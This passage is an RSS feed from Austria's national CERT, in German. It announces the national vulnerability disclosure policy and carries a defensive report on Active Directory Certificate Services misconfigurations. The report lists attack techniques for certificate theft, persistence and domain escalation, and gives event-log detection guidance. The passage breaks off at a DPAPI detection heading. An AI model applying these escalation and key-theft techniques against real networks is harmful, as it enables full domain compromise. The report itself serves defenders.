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<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>CERT.at - Spezielles</title><link>https://www.cert.at</link><description>Dieser Feed beinhaltet spezielle Themen von www.CERT.at</description><item><title>Nationale Policy für die koordinierte Offenlegung von Schwachstellen (CVD)</title><link>https://www.cert.at/de/spezielles/2025/5/nationale-cvd-policy</link><description>&lt;p class=&quot;block&quot;&gt;Der Umgang mit Schwachstellen in IT Produkten und Dienstleistungen ist eine der spannenden Themen in der IT-Sicherheit. Seitens der Hersteller stellt sich die Frage, wie man am besten selbst Probleme identifiziert, wie man mit Meldungen von Dritten am besten umgeht, wie der Prozess zur Entwicklung von korrigierten Versionen aussieht und wie man diese neue Version schnell und effizient an die Kunden verteilt. Seitens der Finder (Researcher) stellen sich Fragen nach den rechtlichen Rahmenbedingungen f&amp;uuml;r die Schwachstellensuche: was darf ich, was sicher nicht, und wie kommuniziere ich das Ergebnis am sinnvollsten?&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Und auch f&amp;uuml;r uns als nationales CERT ist CVD wichtig: in der &lt;a href=&quot;https://www.nis.gv.at/nis-2-richtlinie.html&quot;&gt;NIS-2-Richtlinie&lt;/a&gt; (Artikel 12) legt die EU fest, dass jeder Mitgliedsstaat ein CSIRT als Koordinator f&amp;uuml;r die Zwecke einer koordinierten Offenlegung von Schwachstellen benennen soll. Der f&amp;uuml;r diese Aufgabe n&amp;ouml;tige Prozess sollte gesamtstaatlich festgelegt werden, denn in der nationalen Cybersicherheitsstrategie (Artikel 7) sollte auch ein &amp;bdquo;Konzept f&amp;uuml;r das Vorgehen bei Schwachstellen, das die F&amp;ouml;rderung und Erleichterung der koordinierten Offenlegung von Schwachstellen nach Artikel 12 Absatz 1 umfasst&amp;ldquo; enthalten sein.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Im Sommer 2024 wurde genau so eine nationale CVD-Policy f&amp;uuml;r &amp;Ouml;sterreich geschrieben: Der erste Entwurf wurde von BMI, BKA und BMJ mit Input von CERT.at geschrieben, danach wurde &amp;uuml;ber die &lt;a href=&quot;https://www.onlinesicherheit.gv.at/Services/Initiativen-und-Angebote/Koordination-und-Strategie/Cyber-Sicherheit-Plattform-CSP.html&quot;&gt;Cybersecurity Platform (CSP)&lt;/a&gt; Feedback aus der Community eingeholt. 2025 hat dann die &lt;a href=&quot;https://www.bundeskanzleramt.gv.at/themen/cybersicherheit/nationale-strukturen.html&quot;&gt;Cybersicherheit-Steuerungsgruppe&lt;/a&gt; das Dokument formal best&amp;auml;tigt. Sie wird zuk&amp;uuml;nftig auch auf &lt;a href=&quot;https://nis.gv.at/&quot;&gt;nis.gv.at&lt;/a&gt; abrufbar sein &amp;ndash; diese Seite ist derzeit gerade in der &amp;Uuml;bergabe zwischen BKA und BMI. Wir bekamen daher die Freigabe, die Policy &amp;uuml;ber unsere Webseite zu ver&amp;ouml;ffentlichen.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Noch gibt NIS2 in &amp;Ouml;sterreich nicht, und wir wurden daher auch noch nicht offiziell als CVD-koordinierendes CSIRT in &amp;Ouml;sterreich festgelegt, daher laufen unsere CVD-Aktivit&amp;auml;ten weiterhin als Best-Effort Service. Wir haben auch noch keine spezielle Kontaktm&amp;ouml;glichkeit f&amp;uuml;r CVD-F&amp;auml;lle bei uns etabliert. Das wird dann kommen, wenn wir diese Rolle offiziell &amp;ndash; und dann hoffentlich auch mit einer entsprechenden Finanzierung &amp;ndash; &amp;uuml;bernehmen.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.cert.at/media/files/news/specials/20250509/20241206_nationale%20CVD-Policy.pdf&quot;&gt;20241206_nationale CVD-Policy.pdf&lt;/a&gt;&lt;/p&gt;</description><pubDate>Fri, 09 May 2025 13:35:43 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2025/5/nationale-cvd-policy</guid><dc:creator>CERT.at</dc:creator><dc:date>2025-05-09T13:35:43Z</dc:date></item><item><title>Special Report: Die Tücken von Active Directory Certificate Services (AD CS)</title><link>https://www.cert.at/de/spezielles/2022/2/special-report-die-tucken-von-active-directory-certificate-services-ad-cs</link><description>&lt;p class=&quot;block&quot;&gt;04.&amp;nbsp;Februar 2022&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Dokumenthistorie&lt;/h2&gt;&#13;
&lt;table style=&quot;width: 734px; height: 98px;&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;&gt;&#13;
&lt;tbody&gt;&#13;
&lt;tr style=&quot;height: 16.5938px;&quot;&gt;&#13;
&lt;td style=&quot;height: 16.5938px; width: 80px;&quot;&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16.5938px; width: 169.467px;&quot;&gt;&lt;strong&gt;&amp;nbsp;Datum&amp;nbsp;&lt;/strong&gt;&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16.5938px; width: 481.533px;&quot;&gt;&lt;strong&gt;Beschreibung&lt;/strong&gt;&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr style=&quot;height: 16px;&quot;&gt;&#13;
&lt;td style=&quot;height: 16px; width: 80px;&quot;&gt;1.0&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 169.467px;&quot;&gt;&amp;nbsp;04.02.2022&amp;nbsp;16:00&amp;nbsp;&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 481.533px;&quot;&gt;Initiale Fassung&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;/tbody&gt;&#13;
&lt;/table&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;&amp;nbsp;&lt;br /&gt;TL;DR:&amp;nbsp;&lt;/h2&gt;&#13;
&lt;ul&gt;&#13;
&lt;li class=&quot;block&quot;&gt;Active Directory Certificate Services (ADCS) ist anf&amp;auml;llig f&amp;uuml;r Fehlkonfigurationen, mit denen eine&amp;nbsp;&lt;strong&gt;komplette Kompromittierung des Netzes trivial m&amp;ouml;glich ist&lt;/strong&gt;.&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;Publiziert wurde das Problem im Sommer 2021, &lt;strong&gt;jetzt wird diese Methode bei APT-Angriffen benutzt&lt;/strong&gt;.&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;strong&gt;Kontrollieren&lt;/strong&gt; Sie mit den bereitgestellten Tools ihr Setup.&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;Stellen Sie mit den angef&amp;uuml;hrten Pr&amp;auml;ventiv-Ma&amp;szlig;nahmen &lt;strong&gt;h&amp;ouml;here Sichtbarkeit&lt;/strong&gt; her.&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;strong&gt;&amp;Uuml;berpr&amp;uuml;fen&lt;/strong&gt; Sie mit den vorgestellen Tools, ob eine Fehlkonfiguration bereits ausgenutzt wurde.&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Um einen schnellen &amp;Uuml;berblick &amp;uuml;ber potenzielle verwundbare Konfigurationen zu bekommen, k&amp;ouml;nnen Sie das &lt;a href=&quot;https://github.com/GhostPack/PSPKIAudit&quot;&gt;PSPKI-Audit Tool&lt;/a&gt; nutzen.&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Einf&amp;uuml;hrung&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Active Directory Certificate Services (AD CS) hei&amp;szlig;t die&amp;nbsp;Public Key Infrastructure (PKI) Implementierung von Microsoft f&amp;uuml;r Active Directory (AD). Als solches, ist dieses eine zentrale Komponente in AD Umgebungen. F&amp;uuml;r ein H&amp;ouml;chstma&amp;szlig; an Flexibilit&amp;auml;t und Sicherheit, setzt AD CS auf ein sehr umfangreiches Set an Konfigurationsm&amp;ouml;glichkeiten. Die dadurch bedingte Komplexit&amp;auml;t&amp;nbsp;kann sich bei unvorteilhaften Konfigurationen im Worst-Case jedoch soweit auswirken, dass einem sich bereits lokal befindlichen Angreifer&amp;nbsp;Persistenz, Rechte-Eskalation und damit einhergehendes Lateral Movement, erheblich erleichtert wird.&amp;nbsp;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Mitte 2021 wurden auf der Black Hat Sicherheitskonferenz diverse&amp;nbsp;derartige Fehlkonfigurationen und darauf basierende&amp;nbsp;Angriffe auf AD CS &lt;a title=&quot;https://www.youtube.com/watch?v=ejmAIgxFRgM&amp;amp;ab_channel=BlackHat&quot; href=&quot;https://www.youtube.com/watch?v=ejmAIgxFRgM&amp;amp;ab_channel=BlackHat&quot;&gt;vorgestellt&lt;/a&gt;.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Dringlichkeit!&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Schon damals wurde von den Sicherheitsforschern&amp;nbsp;die Vermutung aufgestellt, dass aufgrund erw&amp;auml;hnter Komplexit&amp;auml;t, das Potential an fehlkonfigurierten und&amp;nbsp;dementsprechend&amp;nbsp;&quot;verwundbaren&quot; AD CS-Instanzen als &amp;auml;u&amp;szlig;erst hoch einzustufen sei. In dieser Hinsicht&amp;nbsp;wurden zuletzt Erfahrungswerte und Berichte aus der Pentest&amp;nbsp;Community laut, die diese Vermutungen&amp;nbsp;nun best&amp;auml;tigen. Dieser Angriffsansatz geh&amp;ouml;rte laut deren Aussage mittlerweile zum&amp;nbsp;fixen Arsenal und sei so gut wie immer erfolgreich.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Dar&amp;uuml;ber hinaus wurden k&amp;uuml;rzlich auch gr&amp;ouml;&amp;szlig;ere Angriffe evident, die auf die aktive Ausn&amp;uuml;tzung von dieser speziellen Thematik zur&amp;uuml;ckzuf&amp;uuml;hren sind.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Dieses Special&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Orientierend an dem originalen &lt;a title=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&quot; href=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&quot;&gt;Whitepaper&lt;/a&gt; der Sicherheitsforscher, soll dieses Special das Wesen und die Relevanz dieser Thematik n&amp;auml;her aus Sicht des Verteidigers/Betreibers von AD CS beleuchten, einen Einblick in richtige&amp;nbsp;bzw. nicht verwundbare&amp;nbsp;Konfigurationen darlegen und dar&amp;uuml;ber hinaus auch Herangehensweisen zur&amp;nbsp;Detektion bereits erfolgter&amp;nbsp;Angriffe aufzeigen.&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Hintergrund&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;​AD CS&amp;nbsp;l&amp;auml;sst sich, abseits von entsprechend notwendigen Protokollen, grunds&amp;auml;tzlich als eine Art Container verstehen. Ein Container f&amp;uuml;r &lt;strong&gt;Zertifikate&lt;/strong&gt;, &lt;strong&gt;Zertifikatsanfragen&lt;/strong&gt;, aber auch sogenannte &lt;strong&gt;Zertifikatstemplates&lt;/strong&gt;.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;img src=&quot;https://www.cert.at/media/files/news/specials/20200203/files/certsrv.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;br /&gt;&lt;em&gt;Quelle: https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&lt;/em&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Jedes Zertifikat wird &amp;uuml;blicherweise f&amp;uuml;r einen speziellen Zweck eingesetzt - zum Beispiel als Basis f&amp;uuml;r TLS,&amp;nbsp;als Logon Credential oder f&amp;uuml;r Code-Signing.&amp;nbsp;Tats&amp;auml;chlich gibt es eine ganze Liste an derartigen Einsatzzwecken, die nebenbei auch kombiniert werden k&amp;ouml;nnen. Dar&amp;uuml;ber hinaus gibt es auch noch den generischen Verwendungszweck &quot;any purpose&quot; &amp;uuml;ber den&amp;nbsp;ein solches Zertifikat auf jedwede Art zum Einsatz kommen kann.&amp;nbsp;Wof&amp;uuml;r ein Zertifikat letzten Endes eingesetzt werden kann, ergibt sich aus dessen Konfiguration, die f&amp;uuml;r sich gesehen recht komplex sein kann. Hier kommen die bereits namentlich erw&amp;auml;hnten &lt;strong&gt;Zertifikatstemplates (Zertifikatsvorlagen)&lt;/strong&gt; ins Spiel.&amp;nbsp;Diese fungieren als Blaupausen f&amp;uuml;r die im betreffenden Infrastrukturumfeld klassischerweise&amp;nbsp;ben&amp;ouml;tigten Zertifikate, anhand deren neue&amp;nbsp;Zertifikate abgeleitet werden k&amp;ouml;nnen.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Die Entstehung eines neuen Zertifikates folgt einem speziellen mehrstufigen Prozess, auch &lt;strong&gt;Certificate Enrollment&lt;/strong&gt; genannt. Kernaspekt dieses Prozesses ist der &lt;strong&gt;Certificate Signing Request (CSR)&lt;/strong&gt;, der an die Enterprise CA geschickt wird und alle wichtigen Parameter, darunter auch das zu verwendende Zertifikatstemplate und das Bindungssubjekt (z.B. bei TLS die Domain), enth&amp;auml;lt. Die CA pr&amp;uuml;ft und verifiziert die Anfrage hinsichtlich Zul&amp;auml;ssigkeit, erzeugt&amp;nbsp;im positiven Falle&amp;nbsp;das neu zu erstellende Zertifikatsobjekt, signiert es und retourniert es an den Antragsteller.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;img src=&quot;https://www.cert.at/media/files/news/specials/20200203/files/Certificate%20Enrollment.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;br /&gt;&lt;em&gt;Quelle: https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&lt;/em&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Je nach Konfiguration des Templates, erlaubt dieses &amp;uuml;ber &lt;strong&gt;Subject Alternative Names (SANs)&lt;/strong&gt; auch die Angabe von alternativen Bindungssubjekten, also Aliases.&amp;nbsp;Dieses Feature findet klassischerweise bei Multi-Domain TLS Zertifikaten Verwendung.&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Das eigentliche Problem&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Das eigentliche, von den Sicherheitsforschern aufgezeigte Problem, ist keine Verwundbarkeit im klassischen Sinne, sondern vielmehr&amp;nbsp;ung&amp;uuml;nstige Kombinationen von Konfigurationsparametern in besagten Zertifikatstemplates, aufgrund derer im Worst-Case Zertifikatsantr&amp;auml;ge sehr freiz&amp;uuml;gig bzw. uneingeschr&amp;auml;nkt gemacht werden k&amp;ouml;nnen. Da f&amp;uuml;r den generellen Zertifikatsantrag keine erh&amp;ouml;hten Rechte auf Seiten des Antragstellers von N&amp;ouml;ten sind, stellt dieses Szenario eine &amp;auml;u&amp;szlig;erst attraktive Methode f&amp;uuml;r Angreifer dar, an erh&amp;ouml;hte Rechte zu gelangen.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Abseits des Rechteeskalationsszenarios haben die Sicherheitsforscher aber auch noch andere Angriffsm&amp;ouml;glichkeiten aufgezeigt. In ihrem &lt;a title=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&quot; href=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&quot;&gt;Whitepaper&lt;/a&gt;&amp;nbsp;thematisieren Sie&amp;nbsp;eine Liste an m&amp;ouml;glichen&amp;nbsp;und praktisch erprobten&amp;nbsp;Angriffsszenarien, die sie mit einem eigens geschaffenen Namensschema in die entsprechenden Kategorien&amp;nbsp;THEFTn (Datendiebstahl),&amp;nbsp;PERSISTn/DPERSISTn (Persistenz) und ESCn (Rechteeskalation) gliedern. Hier eine Gesamt&amp;uuml;bersicht &amp;uuml;ber das offensive Ausma&amp;szlig; ...&amp;nbsp;&lt;/p&gt;&#13;
&lt;table border=&quot;1&quot; width=&quot;100%&quot;&gt;&#13;
&lt;thead&gt;&#13;
&lt;tr&gt;&#13;
&lt;th style=&quot;background-color: #000000; padding: 2px;&quot; align=&quot;left&quot;&gt;&lt;span style=&quot;color: #ffffff;&quot;&gt;Offensive Technique ID&lt;/span&gt;&lt;/th&gt;&#13;
&lt;th style=&quot;background-color: #000000; padding: 2px;&quot; align=&quot;left&quot;&gt;&lt;span style=&quot;color: #ffffff;&quot;&gt;Description&lt;/span&gt;&lt;/th&gt;&#13;
&lt;/tr&gt;&#13;
&lt;/thead&gt;&#13;
&lt;tbody&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;THEFT1&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Exporting certificates and their private keys using Window's Crypto APIs&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;THEFT2&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Extracting user certificates and private keys using DPAPI&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;THEFT3&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Extracting machine certificates and private keys using DPAPI&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;THEFT4&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Theft of existing certificates via file/directory triage&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;THEFT5&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Using the Kerberos PKINIT protocol to retrieve an account's NTLM hash&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;PERSIST1&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Account persistence via requests for new authentication certificates for a user&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;PERSIST2&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Account persistence via requests for new authentication certificates for a computer&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;PERSIST3&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Account persistence via renewal of authentication certificates for a user/computer&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC1&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC2&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU orno EKU&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC3&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC4&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via misconfigured certificate template access control&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC5&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via vulnerable PKI AD Object Access Control&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC6&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC7&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Vulnerable Certificate Authority Access Control&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;ESC8&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;NTLM Relay to AD CS HTTP Endpoints&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;DPERSIST1&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain persistence via certificate forgery with stolen CA private keys&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;DPERSIST2&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain persistence via certificate forgery from maliciously added root/intermediate/NTAuth CA certificates&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;DPERSIST3&lt;/td&gt;&#13;
&lt;td style=&quot;padding: 2px;&quot;&gt;Domain persistence via malicious misconfigurations that can later cause a domain escalation&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;/tbody&gt;&#13;
&lt;/table&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Was nun?&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Da AD CS eine zentrale Komponente in AD-Umgebungen darstellt empfiehlt es sich, diese&amp;nbsp;Server-Rolle entsprechend&amp;nbsp;abzusichern.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Neben der Vielzahl an Angriffsszenarien haben die Sicherheitsforscher auch defensive&amp;nbsp;und detektive&amp;nbsp;Ans&amp;auml;tze erarbeitet, auf die in den n&amp;auml;chsten Abschnitten eingegangen wird.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Dar&amp;uuml;ber hinaus bieten sich diverse Guides von Microsoft zum Baseline-Hardening von AD CS an:&lt;/p&gt;&#13;
&lt;ul&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://aka.ms/securingpki&quot; href=&quot;https://aka.ms/securingpki&quot;&gt;Securing Public Key Infrastructure (PKI) (Englisch)&lt;/a&gt;&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx&quot; href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx&quot;&gt;AD CS Security Guidance (Englisch)&lt;/a&gt;&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&quot; href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&quot;&gt;Best Practices for Securing Active Directory (Englisch)&lt;/a&gt;&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Detektion&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Zur Detektion der Ausnutzung diverser Fehlkonfigurationen in AD CS haben Systemadministratoren, je nach Angriffsklasse, unterschiedliche Indikatoren auf die&amp;nbsp;bewusst geachtet werden sollte.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Zertifikate &amp;uuml;berwachen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Beispielsweise l&amp;ouml;st das Generieren eines neues Zertifikats, respektive das Anfordern eines solchen, zwei Events im Windows-Event-Log aus ( Event-ID&amp;nbsp;4887: AD CS Zertifikatsausstellung, Event-ID 4886: AD CS - CSR empfangen). Diese beiden Events werden aufeinander folgend ausgel&amp;ouml;st und enthalten den Hostnamen des anfragenden Systems sowie den Zeitpunkt der Zertifikatserstellung. Zus&amp;auml;tzlich lassen sich weitere Informationen direkt auf dem AD CS System,&amp;nbsp;aus der Zertifikatsdatenbank abfragen. Dadurch kann neben dem Prozess-Namen des anfragenden Hosts auch festgestellt werden, ob das angeforderte Zertifikat Subject Alternative Names (SANs) enthielt und welche Zertifikatsvorlage zur Erstellung des Zertifikats genutzt wurde.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Nutzen Sie dazu den Befehl &lt;code&gt;certutil.exe -v -view&lt;/code&gt;.&amp;nbsp;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Mithilfe des &lt;code&gt;-restrict&lt;/code&gt;-Parameters l&amp;auml;sst sich die Suchanfrage zus&amp;auml;tzlich einschr&amp;auml;nken/granular filtern.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Zertifikatsauthentifizerungen &amp;uuml;berwachen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Schannel und Kerberos stellen zwei Authentifizierungsmechanismen dar, die in AD-Umgebungen in verschiedensten Konfigurationen verf&amp;uuml;gbar sind. Eine&amp;nbsp;Authentifizierung mithilfe eines Zertifikats l&amp;ouml;st im Fall einer Kerberos-Authentifizierung im Windows Event-Log die Event-ID 4768 (Kerberos Authentication Ticket requested TGT) aus. Ob eine Fehlkonfiguration ausgenutzt wurde, l&amp;auml;sst sich beispielweise durch den Vergleich einer Liste bekannter Seriennummern der Zertifikate (&quot;known goods&quot;) mit den im Event-Log enthaltenen Seriennummern feststellen. Auch&amp;nbsp;Schannel-Authentifizerungen lassen sich &amp;uuml;ber den Windows-Log auditieren&amp;nbsp;- sie l&amp;ouml;sen drei aufeinander folgende Event-IDs aus:&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&amp;nbsp; 1. 4769 &amp;ldquo;A Kerberos service ticket was requested&amp;rdquo;&lt;br /&gt;&amp;nbsp; 2. 4648 &amp;ldquo;A logon was attempted using explicit credentials&amp;rdquo;&lt;br /&gt;&amp;nbsp; 3. 4624 &amp;ldquo;An account successfully logged on&amp;rdquo;&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;CA Backup-Events &amp;uuml;berwachen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Die beschriebenen Fehlkonfigurationen k&amp;ouml;nnen unter anderem&amp;nbsp;zum vollst&amp;auml;ndigen Verlust der Integrit&amp;auml;t der betriebenen CA f&amp;uuml;hren. Dies kann durch CA Backups geschehen, welche ein Angreifer aufgrund bereits durchgef&amp;uuml;hrter Privilege Escalation ansto&amp;szlig;en kann. Ein vollst&amp;auml;ndiges CA Backup&amp;nbsp;l&amp;ouml;st im Windows-Event-Log bei Beginn des Sicherungsprozesses die Event-ID 4876 aus, respektive nach erfolgreicher Fertigstellung die Event-ID 4877. Versucht ein Angreifer lediglich das CA-Zertifikat und den dazugeh&amp;ouml;rigen Private Key zu exportieren, werden diese Events nicht ausgel&amp;ouml;st. Da ein Exportieren des CA-Zertifikats und des Private Keys jedoch andere Event-Logs ausl&amp;ouml;sen, l&amp;auml;sst sich auch dieser Vorgang &amp;uuml;berwachen (Event-IDs: 5058 - Key File Operation, 5061 - Cryptographic operation, 5059 - Key migration operation).&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Zertifikatsvorlagen &amp;uuml;berwachen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Ein signifikanter Teil der Probleme in AD CS wird durch Zertifikatsvorlagen ausgel&amp;ouml;st, dementsprechend sollten diverse &amp;Uuml;berwachungsmechanismen f&amp;uuml;r die genutzten Vorlagen gesetzt werden. Beispielsweise k&amp;ouml;nnen &amp;Auml;nderungen einer Vorlage, beziehungsweise &amp;Auml;nderungen an deren Berechtigungen, &amp;uuml;ber die Event-IDs 4899 (Vorlage wurde ge&amp;auml;ndert) und 4900 (Cert Permissions wurden ge&amp;auml;ndert) nachvollzogen werden. Dieser Detektionsmechanismus eignet sich jedoch nicht zur Echtzeit-Erkennung, da diese Events nur auf dem jeweils genutzten AD CS Host ausgel&amp;ouml;st werden.&amp;nbsp;Eine granularere &amp;Uuml;berwachung l&amp;auml;sst sich mithilfe von System Access Control Lists (SACLs) umsetzen, indem diese auf die genutzten Template-Vorlagen angewendet werden, wodurch bei Ver&amp;auml;nderungen dieses Objekts die Event-ID 4662 (&quot;Operation on an object was performed&quot;) mitgeloggt wird.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;DPAPI Detektionen&lt;/h3&gt;&#13;
